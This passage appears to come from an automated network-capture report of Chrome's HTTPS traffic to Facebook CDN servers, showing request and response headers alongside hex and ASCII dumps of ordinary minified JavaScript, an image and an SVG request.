62 6c 65 41 76 61 69 6c 61 62 69 6c 69 74 79 43 61 6c 63 75 6c 61 74 69 6f 6e 7d 67 65 74 20 73 Data Ascii: t productName(){return this._productName}get customTrackingId(){return this._customTrackingId}get clientSensorGroupName(){return this._clientSensorGroupName}get shouldDisableAvailabilityCalculation(){return this._shouldDisableAvailabilityCalculation}get s
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 73 2e 6c 6f 61 64 56 69 73 69 62 6c 65 49 6d 61 67 65 73 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 62 6f 75 6e 64 45 76 65 6e 74 73 3d 21 31 2c 74 68 69 73 2e 73 63 72 69 70 74 4c 6f 61 64 50 72 6f 6d 69 73 65 73 3d 7b 7d 2c 74 68 69 73 2e 67 68 6f 73 74 43 6c 61 73 73 65 73 41 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 69 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 6c 65 6d 65 6e 74 49 6e 56 69 65 77 70 6f 72 74 43 6f 6e 64 69 74 69 6f 6e 3d 6c 2c 44 28 28 28 29 3d 3e 74 68 69 73 2e 72 65 66 72 65 73 68 4c 6f 61 64 65 72 28 29 29 29 7d 67 65 74 4c 61 7a 79 4c 6f 61 64 65 64 4a 61 76 61 73 63 72 69 70 74 4d 6f 64 75 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 63 72 69 70 74 4c 6f 61 64 50 72 6f 6d 69 73 65 73 5b 65 5d 3d 74 68 69 73 2e 73 Data Ascii: s.loadVisibleImages.bind(this),this.boundEvents=!1,this.scriptLoadPromises={},this.ghostClassesAttributeName=i,this.disableElementInViewportCondition=l,D((()=>this.refreshLoader()))}getLazyLoadedJavascriptModule(e){return this.scriptLoadPromises[e]=this.s
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7b 6e 26 26 28 65 3d 6e 29 3b 76 61 72 20 72 3d 30 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 7b 73 3a 69 2c 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3e 3d 65 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 30 7d 3a 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 65 5b 72 2b 2b 5d 7d 7d 2c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 65 7d 2c 66 3a 69 7d 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 69 74 65 72 61 74 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e 5c 6e 49 6e 20 6f 72 64 65 72 20 74 6f 20 62 65 20 69 74 65 72 61 62 6c 65 2c 20 6e 6f 6e 2d 61 72 72 Data Ascii: eof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-arr
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 3a 74 2c 6b 65 65 70 61 6c 69 76 65 3a 21 31 2c 68 65 61 64 65 72 73 3a 6e 2c 63 6f 6d 70 72 65 73 73 3a 72 7d 29 29 7d 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6b 3f 69 28 7b 74 79 70 65 3a 22 73 75 63 63 65 73 73 22 2c 64 72 6f 70 3a 21 31 2c 73 74 61 74 75 73 43 6f 64 65 3a 65 2e 73 74 61 74 75 73 7d 29 3a 69 28 7b 74 79 70 65 3a 22 72 65 73 70 6f 6e 73 65 22 2c 64 72 6f 70 3a 21 30 2c 73 74 61 74 75 73 43 6f 64 65 3a 65 2e 73 74 61 74 75 73 2c 72 61 77 45 72 72 6f 72 3a 65 2e 73 74 61 74 75 73 54 65 78 74 7d 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 28 7b 74 79 70 65 3a 22 6e 65 74 77 6f 72 6b 22 2c 64 72 6f 70 3a 21 30 2c 72 61 77 45 72 72 6f 72 3a 65 6e 28 65 29 7d 29 7d 29 29 7d 29 29 Data Ascii: :t,keepalive:!1,headers:n,compress:r}))})).then((function(e){e.ok?i({type:"success",drop:!1,statusCode:e.status}):i({type:"response",drop:!0,statusCode:e.status,rawError:e.statusText})}),(function(e){return i({type:"network",drop:!0,rawError:en(e)})}))}))
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 2c 74 68 69 73 2e 63 6f 6d 70 61 72 61 74 6f 72 3d 74 2c 74 68 69 73 2e 68 65 61 70 3d 5b 5d 7d 72 65 74 75 72 6e 20 47 65 28 65 2c 5b 7b 6b 65 79 3a 22 68 65 61 70 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 65 61 70 2e 6c 65 6e 67 74 68 7d 7d 2c 7b 6b 65 79 3a 22 70 65 61 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 65 61 70 5b 30 5d 7d 7d 2c 7b 6b 65 79 3a 22 68 65 61 70 41 72 72 61 79 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 65 61 70 7d 7d 2c 7b 6b 65 79 3a 22 68 65 61 70 43 6c 65 61 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 4b 65 28 74 68 69 73 2e 68 Data Ascii: ,this.comparator=t,this.heap=[]}return Ge(e,[{key:"heapsize",value:function(){return this.heap.length}},{key:"peak",value:function(){return this.heap[0]}},{key:"heapArray",get:function(){return this.heap}},{key:"heapClear",value:function(){var e=Ke(this.h
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 6e 63 65 4e 75 6d 62 65 72 43 6f 75 6e 74 65 72 22 2c 76 6f 69 64 20 30 29 2c 58 65 28 74 68 69 73 2c 22 63 6c 69 65 6e 74 54 6f 70 69 63 4c 6f 63 61 6c 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 43 6f 75 6e 74 65 72 73 4d 61 70 22 2c 7b 7d 29 2c 58 65 28 74 68 69 73 2c 22 69 73 54 69 6d 65 72 52 75 6e 6e 69 6e 67 22 2c 76 6f 69 64 20 30 29 2c 58 65 28 74 68 69 73 2c 22 74 72 61 63 6b 69 6e 67 45 6e 64 70 6f 69 6e 74 22 2c 76 6f 69 64 20 30 29 2c 58 65 28 74 68 69 73 2c 22 69 73 45 76 65 6e 42 61 74 63 68 45 6e 61 62 6c 65 64 22 2c 76 6f 69 64 20 30 29 2c 74 68 69 73 2e 68 6f 73 74 3d 74 2c 74 68 69 73 2e 71 75 65 75 65 3d 5b 5d 2c 74 68 69 73 2e 70 72 65 43 6f 6e 74 65 78 74 51 75 65 75 65 3d 5b 5d 2c 74 68 69 73 2e 75 6e 6c 6f 61 64 48 61 6e 64 6c 65 72 Data Ascii: nceNumberCounter",void 0),Xe(this,"clientTopicLocalSequenceNumberCountersMap",{}),Xe(this,"isTimerRunning",void 0),Xe(this,"trackingEndpoint",void 0),Xe(this,"isEvenBatchEnabled",void 0),this.host=t,this.queue=[],this.preContextQueue=[],this.unloadHandler
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 74 72 61 6e 73 70 6f 72 74 65 72 3b 69 66 28 21 6f 26 26 61 29 7b 76 61 72 20 73 3d 70 72 28 69 2e 69 64 29 2c 63 3d 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 63 75 73 74 6f 6d 20 74 72 61 6e 73 70 6f 72 74 65 72 3a 20 22 2e 63 6f 6e 63 61 74 28 61 29 3b 69 66 28 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 6f 6e 6e 29 7b 76 61 72 20 75 3d 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 6f 6e 6e 2e 6c 6f 67 45 76 65 6e 74 47 65 6e 65 72 61 74 65 64 28 73 29 3b 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 6f 6e 6e 2e 6c 6f 67 46 61 69 6c 65 64 45 76 65 6e 74 28 6d 72 2e 55 4e 4b 4e 4f 57 4e 5f 45 58 45 43 55 54 49 4f 4e 5f 45 52 52 4f 52 2c 69 2e 69 64 2c 63 2c 75 29 7d 74 68 72 6f 77 20 6e Data Ascii: transporter;if(!o&&a){var s=pr(i.id),c="Could not find custom transporter: ".concat(a);if(this.clientMonitoringConn){var u=this.clientMonitoringConn.logEventGenerated(s);this.clientMonitoringConn.logFailedEvent(mr.UNKNOWN_EXECUTION_ERROR,i.id,c,u)}throw n
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 6d 65 6e 74 61 72 79 3d 53 75 62 65 73 74 69 6d 61 72 25 32 30 6c 61 25 32 30 6e 65 63 65 73 69 64 61 64 25 32 30 64 65 25 32 30 6c 61 25 32 30 65 73 74 72 61 74 65 67 69 61 25 32 30 64 65 25 32 30 63 6f 6d 75 6e 69 63 61 63 69 25 43 33 25 42 33 6e 25 32 30 65 73 25 32 30 75 6e 25 32 30 70 65 6c 69 67 72 6f 73 6f 25 32 30 65 72 72 6f 72 25 32 30 71 75 65 25 32 30 63 6f 6d 65 6e 74 65 6e 25 32 30 63 6f 6e 73 74 61 6e 74 65 6d 65 6e 74 65 25 32 30 6c 61 73 25 32 30 65 6d 70 72 65 73 61 73 26 64 69 73 61 62 6c 65 47 6f 6c 64 47 75 69 64 65 72 3d 74 72 75 65 26 68 61 73 41 74 74 61 63 68 6d 65 6e 74 3d 66 61 6c 73 65 26 71 3d 68 69 67 68 65 73 74 50 72 69 6f 72 69 74 79 54 72 69 67 67 65 72 65 64 50 72 6f 6d 70 74 26 73 68 61 72 65 42 6f 78 53 65 73 73 69 6f Data Ascii: mentary=Subestimar%20la%20necesidad%20de%20la%20estrategia%20de%20comunicaci%C3%B3n%20es%20un%20peligroso%20error%20que%20comenten%20constantemente%20las%20empresas&disableGoldGuider=true&hasAttachment=false&q=highestPriorityTriggeredPrompt&shareBoxSessio
2024-04-11 20:35:34 UTC	1062	IN	Data Raw: 20 4d 6f 6e 6f 22 2c 22 41 72 69 61 6c 20 42 6c 61 63 6b 22 2c 22 41 72 69 61 6c 20 48 65 62 72 65 77 22 2c 22 41 72 69 61 6c 20 4d 54 22 2c 22 41 72 69 61 6c 20 55 6e 69 63 6f 64 65 20 4d 53 22 2c 22 42 69 74 73 74 72 65 61 6d 20 56 65 72 61 20 53 61 6e 73 20 4d 6f 6e 6f 22 2c 22 42 6f 6f 6b 6d 61 6e 20 4f 6c 64 20 53 74 79 6c 65 22 2c 22 43 61 6c 69 62 72 69 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 2c 22 43 65 6e 74 75 72 79 20 47 6f 74 68 69 63 22 2c 22 43 65 6e 74 75 72 79 20 53 63 68 6f 6f 6c 62 6f 6f 6b 22 2c 22 43 6f 6d 69 63 20 53 61 6e 73 22 2c 22 43 6f 6e 73 6f 6c 61 73 22 2c 22 43 6f 75 72 69 65 72 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 22 47 65 6e 65 76 61 22 2c 22 48 65 6c 76 65 74 69 63 61 22 2c 22 48 65 6c 76 65 74 69 63 61 Data Ascii: Mono","Arial Black","Arial Hebrew","Arial MT","Arial Unicode MS","Bitstream Vera Sans Mono","Bookman Old Style","Calibri","Cambria Math","Century Gothic","Century Schoolbook","Comic Sans","Consolas","Courier","Courier New","Geneva","Helvetica","Helvetica

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49983	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	599	OUT	GET /rsrc.php/v3/yb/r/mN-eO9RcwWn.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ltM3loYfy6JcRa/tWg3qLQ== Expires: Sun, 06 Apr 2025 15:36:45 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: lzVsxbzUOMW5HNfNOMUSBKjQwR/laQF2pHdHwa0dZ7PfwYKW/kWAWRndcIm+Qxmz5AKy7TqGrRTHL+Jb76AIqQ== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 77114
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	15492	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 42 6c 6f 62 46 61 63 74 6f 72 79 22 2c 5b 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 74 72 79 7b 6e 65 77 20 61 2e 42 6c 6f 62 28 29 2c 67 3d 21 30 7d 63 61 74 63 68 28 61 29 7b 67 3d 21 31 7d 7d 76 61 72 20 69 3d 61 2e 42 6c 6f 62 42 75 69 6c 64 65 72 7c 7c 61 2e 57 65 62 4b 69 74 42 6c 6f 62 42 75 69 6c 64 65 72 7c 7c 61 2e 4d 6f 7a 42 6c 6f 62 42 75 69 6c 64 65 72 7c 7c 61 2e 4d 53 42 6c 6f 62 42 75 69 6c 64 65 72 3b 61 2e 42 6c 6f 62 3f 63 3d 7b 67 65 74 42 6c 6f 62 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 62 3d 62 7c 7c 5b 5d 3b 63 3d 63 7c 7c 7b Data Ascii: /FB_PKG_DELIM/__d("BlobFactory",["emptyFunction"],(function(a,b,c,d,e,f){var g;function h(){try{new a.Blob(),g=!0}catch(a){g=!1}}var i=a.BlobBuilder\|\|a.WebKitBlobBuilder\|\|a.MozBlobBuilder\|\|a.MSBlobBuilder;a.Blob?c={getBlob:function(b,c){b=b\|\|[];c=c\|\|{
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 6d 61 74 69 6f 6e 2e 73 74 61 72 74 54 77 65 65 6e 73 56 65 63 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 73 74 61 72 74 56 65 63 74 6f 72 28 34 2c 62 2c 34 29 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 2e 65 6e 64 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 65 6e 64 4f 62 6a 65 63 74 28 29 3b 72 65 74 75 72 6e 20 61 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 2e 63 72 65 61 74 65 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 2e 73 74 61 72 74 53 63 61 6c 61 72 Data Ascii: mation.startTweensVector=function(a,b){a.startVector(4,b,4)};g.keyframes.ScalarAnimation.endScalarAnimation=function(a){a=a.endObject();return a};g.keyframes.ScalarAnimation.createScalarAnimation=function(a,b,c,d,e){g.keyframes.ScalarAnimation.startScalar
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 68 69 73 2e 62 62 2e 5f 5f 69 6e 64 69 72 65 63 74 28 74 68 69 73 2e 62 62 2e 5f 5f 76 65 63 74 6f 72 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 63 29 2b 61 2a 34 29 2c 74 68 69 73 2e 62 62 29 3a 6e 75 6c 6c 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 50 61 74 68 41 6e 69 6d 61 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 4c 65 6e 67 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 36 29 3b 72 65 74 75 72 6e 20 61 3f 74 68 69 73 2e 62 62 2e 5f 5f 76 65 63 74 6f 72 5f 6c 65 6e 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 61 29 3a 30 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 50 61 74 68 41 6e 69 6d 61 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 Data Ascii: his.bb.__indirect(this.bb.__vector(this.bb_pos+c)+a*4),this.bb):null};g.keyframes.PathAnimation.prototype.valuesLength=function(){var a=this.bb.__offset(this.bb_pos,6);return a?this.bb.__vector_len(this.bb_pos+a):0};g.keyframes.PathAnimation.prototype.key
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 31 38 29 3b 72 65 74 75 72 6e 20 62 3f 28 61 7c 7c 6e 65 77 20 67 2e 6b 65 79 66 72 61 6d 65 73 2e 53 63 61 6c 61 72 41 6e 69 6d 61 74 69 6f 6e 28 29 29 2e 5f 5f 69 6e 69 74 28 74 68 69 73 2e 62 62 2e 5f 5f 69 6e 64 69 72 65 63 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 62 29 2c 74 68 69 73 2e 62 62 29 3a 6e 75 6c 6c 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 4c 61 79 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 61 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 32 30 29 3b 72 65 74 75 72 6e 20 62 3f 28 61 7c 7c 6e 65 77 20 67 2e 6b 65 79 66 72 61 6d 65 73 2e 50 6f 69 Data Ascii: =this.bb.__offset(this.bb_pos,18);return b?(a\|\|new g.keyframes.ScalarAnimation()).__init(this.bb.__indirect(this.bb_pos+b),this.bb):null};g.keyframes.Layer.prototype.scale=function(a){var b=this.bb.__offset(this.bb_pos,20);return b?(a\|\|new g.keyframes.Poi
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 70 6c 75 67 69 6e 73 4c 65 6e 67 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 31 38 29 3b 72 65 74 75 72 6e 20 61 3f 74 68 69 73 2e 62 62 2e 5f 5f 76 65 63 74 6f 72 5f 6c 65 6e 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 61 29 3a 30 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 44 6f 63 75 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 32 30 29 3b 72 65 74 75 72 6e 20 61 3f 74 68 69 73 2e 62 62 2e 72 65 61 64 49 6e 74 33 32 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 61 29 3a 30 7d 3b 67 2e 6b 65 79 66 Data Ascii: ototype.pluginsLength=function(){var a=this.bb.__offset(this.bb_pos,18);return a?this.bb.__vector_len(this.bb_pos+a):0};g.keyframes.Document.prototype.id=function(){var a=this.bb.__offset(this.bb_pos,20);return a?this.bb.readInt32(this.bb_pos+a):0};g.keyf
2024-04-11 20:35:35 UTC	10969	IN	Data Raw: 73 2e 62 62 5f 70 6f 73 2b 63 29 2b 61 2a 34 29 2c 74 68 69 73 2e 62 62 29 3a 6e 75 6c 6c 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 44 6f 63 75 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 76 69 64 65 6f 73 4c 65 6e 67 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 62 62 2e 5f 5f 6f 66 66 73 65 74 28 74 68 69 73 2e 62 62 5f 70 6f 73 2c 32 36 29 3b 72 65 74 75 72 6e 20 61 3f 74 68 69 73 2e 62 62 2e 5f 5f 76 65 63 74 6f 72 5f 6c 65 6e 28 74 68 69 73 2e 62 62 5f 70 6f 73 2b 61 29 3a 30 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 44 6f 63 75 6d 65 6e 74 2e 73 74 61 72 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 61 72 74 4f 62 6a 65 63 74 28 31 32 29 7d 3b 67 2e 6b 65 79 66 72 61 6d 65 73 2e 44 6f 63 Data Ascii: s.bb_pos+c)+a*4),this.bb):null};g.keyframes.Document.prototype.videosLength=function(){var a=this.bb.__offset(this.bb_pos,26);return a?this.bb.__vector_len(this.bb_pos+a):0};g.keyframes.Document.startDocument=function(a){a.startObject(12)};g.keyframes.Doc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49980	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	605	OUT	GET /v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	658	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 291536030 thrift_fmhk: GBCGRhWcw3JPRApQyY9QroZGFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1966998888 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 4195
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	4194	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 70 7a 64 79 4b 5a 54 75 42 47 30 42 4d 34 6a 32 35 6e 41 6e 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 36 30 31 30 30 30 30 39 34 30 32 30 30 30 30 33 36 30 34 30 30 30 30 62 30 30 34 30 30 30 30 31 39 30 35 30 30 30 30 35 34 30 38 30 30 30 30 65 65 30 61 30 30 30 30 37 31 30 62 30 30 30 30 30 36 30 63 30 30 30 30 37 38 30 63 30 30 30 30 36 33 31 30 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a Data Ascii: JFIFPhotoshop 3.08BIMgpzdyKZTuBG0BM4j25nAn(bFBMD0a000a860100009402000036040000b00400001905000054080000ee0a0000710b0000060c0000780c000063100000C%# , #&')*)-0-(0%()(C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49975	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	372	OUT	GET /rsrc.php/yu/r/Ddk-AuWE7VS.svg HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1635	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/svg+xml Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 1DGM0xlVqfJFGfRzBEZk+Q== Expires: Sun, 06 Apr 2025 12:25:59 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: 